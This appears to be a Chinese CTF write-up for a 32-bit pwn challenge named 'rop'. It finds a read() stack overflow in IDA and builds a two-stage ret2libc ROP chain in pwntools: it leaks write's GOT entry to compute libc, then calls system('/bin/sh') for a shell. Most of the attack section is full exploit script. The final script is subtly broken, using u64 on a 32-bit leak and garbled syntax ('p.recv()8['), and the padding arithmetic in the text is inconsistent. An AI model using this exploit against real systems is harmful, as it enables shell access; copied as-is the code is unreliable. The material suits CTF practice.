rop

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}

write函数可以写入system函数
ssize_t vulnerable_function()
{
char buf; // [esp+10h] [ebp-88h]

return read(0, &buf, 0x100u);
}
read函数可以溢出

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
首先计算padding

write函数里面有个buf

+00000000 r db 4 dup(?)
+00000004 fd dd ?
+00000008 buf dd ?

占8个字节

read函数里面的buf

-00000088 buf db ?
-00000087 db ? ; undefined
-00000086 db ? ; undefined
-00000085 db ? ; undefined
-00000084 db ? ; undefined
........
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

所以 padding为0x88+4+8

write函数地址

1
system地址

1
/bin/sh地址

1
2
3
4
5
6
7
8
main函数地址
同样方法从ida中获取main函数地址:0x80484c6

之所以需要main函数地址,是因为getshell的时候需要两次溢出。

第一次:获取write函数的真实地址,再减去偏移,得到libc地址。

第二次:计算出真实的system地址和bin_sh地址,进行getshell

0x03 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
先泄露write函数真实地址,构造rop链为:

第一项:padding

第二项:write函数的plt地址

第三项(write函数参数1):数字1,write函数第一个参数

第四项(write函数参数2 输出的内容):write函数的got地址

第五项(write函数参数3 输出的长度):数字4,表示输出4个字节的地址

第六项: main函数的地址,为了让write函数输出结束后,再执行一遍main函数,进行第二波溢出。

from pwn import *
elf=ELF('/home/xfgg/Downloads/rop')
plt_write=elf.plt['write']
got_write=elf.got['write']

main_addr=0x80484c6
payload1='a'*140+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)+p32(main_addr)
p=process('/home/xfgg/Downloads/rop')
p.sendline(payload1)

write_real=u32(p.recv())

得到write函数的真实地址后,开始计算Libc地址和system函数地址:

libc地址 = write函数真实地址 - write函数的offset

(write函数的offset用/bin/sh的方法,偏移是:0xd43c0)

system真实地址 = libc地址 + system函数offset

bin_sh真实地址  = libc地址 + /bin/sh偏移地址offset

write_offset = 0xd43c0
libc_addr = write_real - write_offset
system_addr = libc_addr + 0x3a940
binsh_addr = libc_addr + 0x15902b

第一项:140长度的padding
第二项:system函数真实地址
第三项:/bin/sh的真实地址

payload2='a'*140+p32(system_addr) + p32(main_addr) + p32(binsh_addr)

p.sendline(payload2)
p.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
elf=ELF('/home/xfgg/Desktop/rop')
p=process('/home/xfgg/Desktop/rop')
plt_write=elf.plt['write']
got_write=elf.got['write']

main_addr=0x80484c6
payload1='a'*140+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)+p32(main_addr)
p.sendline(payload1)

write_real=u64(p.recv()8[)
write_offset = 0xd43c0
libc_addr = write_real - write_offset
system_addr = libc_addr + 0x3a940
binsh_addr = libc_addr + 0x15902b

payload2='a'*140+p32(system_addr) + p32(main_addr) + p32(binsh_addr)

p.sendline(payload2)
p.interactive()
0%